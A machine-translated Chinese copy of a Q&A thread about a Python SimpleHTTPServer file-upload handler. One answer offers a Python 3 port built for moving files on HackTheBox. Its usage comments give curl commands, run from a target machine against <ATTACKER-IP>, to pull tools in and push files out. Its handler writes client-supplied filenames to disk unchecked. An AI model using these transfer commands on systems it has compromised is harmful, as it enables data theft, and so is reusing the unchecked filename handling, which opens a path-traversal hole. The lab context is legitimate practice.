Python SimpleHTTPServer 接收文件

2024-04-23

我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用curl上传png文件,该脚本工作正常,但每当我使用python请求库上传文件时,文件上传但会损坏。这是 SimpleHTTPServer 代码

#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

上传文件的客户端代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件已成功上传,但已损坏。

python 请求头 https://i.stack.imgur.com/NOmXc.png

简单HTTP服务器响应 https://i.stack.imgur.com/Ct7ps.png

使用卷曲 [curl -F '[电子邮件受保护] /cdn-cgi/l/email-protection' 192.168.5.134:8000/ -v ],文件上传并打开成功。

python请求代码有问题吗?


2019 年更新:我今天在 hackthebox.eu 上玩时正在寻找此功能。我对 Python 不太了解,但我最终还是把这个例子移植到了 Python 3,因为 Python 2 此时基本上已经死了。

希望这对 2019 年寻找此内容的人有所帮助,我总是很高兴听到有关改进代码的方法。获取它:https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

感谢提问者以及那些提供信息评论的人!

编辑:我被要求粘贴代码,不用担心。为了简洁起见,我删除了一些评论,所以这里有一些注释:

  1. 基于一个gist https://gist.github.com/UniIsland/3346170由骨头7456 提供,因为归属很重要。
  2. 我从响应中删除了 HTML,因为我的用例不需要它。
  3. 在野外使用它需要您自担风险。我用它在服务器之间移动文件HTB https://hackthebox.eu所以它目前的形式基本上是一个玩具。
  4. 破解地球等。

从包含工具/数据的文件夹或您要关闭的盒子中的攻击设备运行脚本。从目标 PC 连接到它,可以简单方便地来回推送文件。

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

Code:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Python SimpleHTTPServer 接收文件 的相关文章

  • Python:使用 string.format() 将单词大写

    是否可以使用字符串格式将单词大写 例如 user did such and such format user foobar 应该返回 Foobar 做了这样那样的事情 请注意 我很清楚 capitalize 但是 这是我正在使用的代码 非常
  • Python 子进程(ffmpeg)仅在我按 Ctrl-C 程序时启动?

    我正在尝试使用 Cygwin 和 Python 2 7 并行运行一些 ffmpeg 命令 这大概是我所拥有的 import subprocess processes set commands ffmpeg i input mp4 outpu
  • pandas Wide_to_long 后缀参数

    我对在 pandas 中使用 Wide to long 时的参数有疑问 有一个参数叫suffix我不明白 在文档中它说 后缀 str 默认 d 捕获所需后缀的正则表达式 d 捕获数字后缀 没有数字的后缀可以用否定字符类 D 指定 您还可以进
  • 如何在 Google App Engine 的 Python 中获取 StringProperty 的值?

    如何获取 nbd Model 的值 我想返回由多个字段组成的描述 但我无法让它工作 这是我的班级代码 class User ndb Model name ndb StringProperty email ndb StringProperty
  • 如何让python优雅地失败?

    我只是想知道如何让 python 在所有可能的错误中以用户定义的方式失败 例如 我正在编写一个处理 大 项目列表的程序 并且某些项目可能不符合我定义的格式 如果 python 检测到错误 它目前只会输出一条丑陋的错误消息并停止整个过程 但是
  • 使用 pandas 将字符串对象转换为 int/float

    import pandas as pd path1 home supertramp Desktop 100 life 180 data csv mydf pd read csv path1 numcigar Never 0 1 5 Ciga
  • 使用多级解决方案计算二维网格中的最近邻

    我有一个问题 在 x y 大小的网格中 我提供了一个点 并且我需要找到最近的邻居 在实践中 我试图在 pygame 中找到距离光标最近的点 该点跨越颜色距离阈值 计算如下 sqrt rgb1 0 rgb2 0 2 rgb1 1 rgb2 1
  • Python——捕获异常的效率[重复]

    这个问题在这里已经有答案了 可能的重复 Python 常见问题解答 异常有多快 https stackoverflow com questions 8107695 python faq how fast are exceptions 我记得
  • 按多个键分组并对字典列表的值进行汇总/平均值

    在Python中按多个键进行分组并对字典列表进行汇总 平均值的最Pythonic方法是什么 假设我有一个字典列表 如下所示 input dept 001 sku foo transId uniqueId1 qty 100 dept 001
  • 如何使用 PyMongo 在重复键错误后继续插入

    如果我需要在 MongoDB 中插入尚不存在的文档 db stock update one document set document upsert True 将完成这项工作 如果我错了 请随时纠正我 但是 如果我有一个文档列表并想将它们全
  • 使用 WSGI 在 Windows XAMPP 中设置 Python 路径

    我正在 Webfaction 上设置实时服务器的开发版本 在本地计算机上的虚拟 Apache 服务器环境 运行没有任何错误 中运行 Django 应用程序 XP 使用 Python 2 6 运行 XAMPP Lite 我可以提交更改通过 G
  • PyArmor - 打包为一个可执行文件

    当我执行此命令时 您好 使用 PyArmor pyarmor pack main py 它将它打包到一个名为的文件夹中dist里面包含我的 exe 以及许多 Python 扩展文件 据我所知 PyArmor 使用 PyInstaller 来
  • 如何正确导入主代码和模块中同时使用的模块?

    假设我有一个主脚本 main py 它导入另一个 python 文件import coolfunctions另一个 import chores 现在 假设 Coolfunctions 也使用家务活中的东西 因此我声明import chore
  • 用于多个窗口的 Tkinter 示例代码,为什么按钮无法正确加载?

    我正在编写一个程序 应该 按一下按钮即可打开一个窗口 按另一个按钮关闭新打开的窗口 我使用类 以便稍后可以将代码插入到更大的程序中 但是 我无法正确加载按钮 import tkinter as tk class Demo1 tk Frame
  • Selenium 不会在新选项卡中打开新 URL(Python 和 Chrome)

    我想使用 Selenium WebDriver 和 Python 在不同的选项卡中打开相当多的 URL 我不确定出了什么问题 driver webdriver Chrome driver get url1 time sleep 5 driv
  • 更换壳牌管道[重复]

    这个问题在这里已经有答案了 在 subprocess 模块的 Python 2 7 文档中 我找到了以下片段 p1 Popen dmesg stdout PIPE p2 Popen grep hda stdin p1 stdout stdo
  • 在 matplotlib 中绘制多边形的并集[重复]

    这个问题在这里已经有答案了 我正在尝试绘制几个多边形的并集matplotlib 具有一定的 alpha 水平 我当前的代码在交叉点处颜色较深 有没有办法让交叉路口与其他地方的颜色相同 import matplotlib pyplot as
  • 在 scipy 中创建新的发行版

    我试图根据我拥有的一些数据创建一个分布 然后从该分布中随机抽取 这是我所拥有的 from scipy import stats import numpy def getDistribution data kernel stats gauss
  • 使用 SERVER_NAME 时出现 Flask 404

    在我的 Flask 配置中 我将 SERVER NAME 设置为 app example com 之类的域 我这样做是因为我需要使用url for with external网址 如果未设置 SERVER NAME Flask 会认为服务器
  • Python 中的字符串slugification

    我正在寻找 slugify 字符串的最佳方法 蛞蝓 是什么 https stackoverflow com questions 427102 in django what is a slug 我当前的解决方案基于这个食谱 http code

随机推荐

  • ActiveMQ 内存消耗通过屋顶(页面文件)...该怎么办?

    我们使用的是旧版本的 ActiveMQ 5 3 2 请参阅 ActiveMQ可靠吗 https stackoverflow com questions 4303610 is activemq reliable 我们取消了持久性 因为我们需要
  • 解决依赖关系: pub 已完成,退出代码为 1

    我有这个依赖冲突 flutter pub upgrade dry run Resolving dependencies Because image gt 2 1 14 lt 3 0 0 nullsafety 0 depends on arc
  • Swift 变量声明含义

    这两个声明有什么区别 哪一个更好 为什么 error some NSError 1 var newUserInfo NSObject NSObject if let tempUserInfo error userInfo as NSObje
  • 根据请求更改 PostgreSQL 日期语言

    我对 PostgreSQL 有点陌生 我正在尝试更改日期函数结果的区域设置 以获得以下结果to char my date Month 用另一种语言 这是我的一些设置 gt show lc time en US UTF 8 我在文档中发现可以
  • 如何使用 Perl 的 DBI 处理 unicode?

    My 美味到 wp perl 脚本 http edward de leau net wordpress 23 compatible wordpress delicious daily synchronization script 20071
  • 如何在 gnuplot 中设置时区?

    我有一个简单的 gnuplot 命令文件 set xdata time set timefmt s set format x H M 其中 x 时间戳列 结果 UTC 格式的时间 我可以更改 x 轴的本地时区吗 今天刚刚在文档中发现了这一点
  • VarName 未定义,请修复或添加 /*global VarName*/ Cloud9

    客观的 阻止 Cloud9 IDE 向我发出警告消息 背景 我正在使用 Cloud9 IDE 编写 JavaScript 无论何时使用另一个文件 同一文件夹中 中的类 我都会收到警告消息 VarName 未定义 请修复或添加 global
  • 使用 JWT 缺少授权标头

    我正在尝试设置 JSON Web 令牌以从移动应用程序与我的 php 后端进行通信 我可以请求一个令牌就好了 当我需要验证它 或向另一个端点发出请求 时 我使用以下格式设置授权标头 Bearer
  • SimPy 资源有 3 个,每个资源都有不同的特征

    我试图模拟这样一种情况 我们有 5 台机器 它们的情况是 1 gt 3 gt 1 即中间的3个并行运行以减少它们所花费的有效时间 我可以通过创建值为 3 的 SimPy 资源来轻松模拟这一点 如下所示 simpy Resource env
  • 如何在提交表单时禁用“window.onbeforeunload”?

    当我从浏览器关闭此页面时 会打开一个警告框 询问 离开此页面 或 留在此页面 没关系 但是 当从下面给出的 提交 按钮提交表单时 它会再次询问并显示此警报框 我如何在提交表单时禁用此功能 不应该询问并显示警报框
  • IE8 中的不透明度不起作用

    我已经设置了覆盖层的不透明度 该覆盖层在 FF Chrome Safari 和 IE9 中工作正常 但在 IE8 中不起作用 我用谷歌搜索了很多 但没有找到任何解决方案 我的CSS代码是 overlayEffectDiv ms filter
  • 使用 python Shutil.py 时出现 Errno 2 没有这样的文件或目录作为文件目标

    我正在使用shutil python 模块在linux redhat 机器上复制文件和目录 我编写了以下方法 它接受 2 个参数 src 正在收集的文件或目录的路径 和目标 将收集的日志 目录粘贴到的所需新路径 def copy src d
  • RandomAccess接口,为什么没有方法?

    我正在读书Collections shuffle List javadoc http docs oracle com javase 7 docs api java util Collections html shuffle 28java u
  • Postman:如何在运行时删除/清除postman环境变量

    有没有办法在运行时使用函数删除 清除邮递员环境变量 我可以设置为空白或一些特殊值 但是有通用的处理方法吗 沙盒APIpm environment unset variableName 也允许这样做 如果您想立即清除所有环境变量 您可能需要执
  • Twitter 数据 - 查找 MongoDB 中被提及最多的用户

    假设我有来自 Twitter API 的流数据 并且将数据作为文档存储在 MongoDB 中 我想要找到的是计数screen name under entities user mentions id ObjectId 50657d58449
  • jquery 在点击时突出显示链接

    如何使用 jquery 在单击链接时突出 显示该链接 例如 当我单击链接 class1 1 时 我想将此链接设为红色 或其他颜色 JavaScript 代码在这里
  • 无意中使用 = 而不是 ==

    这个问题的答案是社区努力 help privileges edit community wiki 编辑现有答案以改进这篇文章 目前不接受新的答案或互动 看起来 if x y 代替 if x y 是许多罪恶的根源 为什么不all编译器将其标记
  • Android 5.0 JobScheduler API 在早期版本上?

    我正在构建一个 Android 应用程序 它利用清单广播接收器来了解设备何时插入 我认为 Android 5 0 JobScheduler API 是一种更好的方法 但我有一个问题 是否可以在早期版本的 Android 上使用此 API 或
  • 使用 PHP Swiftmailer 时如何解决错误 554 5.5.1(无有效收件人)?

    在测试我们的邮件服务器时 我们偶然发现了一个错误 该错误阻止我们通过 PHP 发送邮件 尽管每个 Mail in a box 的常规发送 接收工作没有任何问题 我们正在运行一个单独的 Ubuntu 18 04 服务器 该服务器仅运行 Mai
  • Python SimpleHTTPServer 接收文件

    我正在使用 SimpleHTTPServer 的 do POST 方法来接收文件 如果我使用curl上传png文件 该脚本工作正常 但每当我使用python请求库上传文件时 文件上传但会损坏 这是 SimpleHTTPServer 代码 u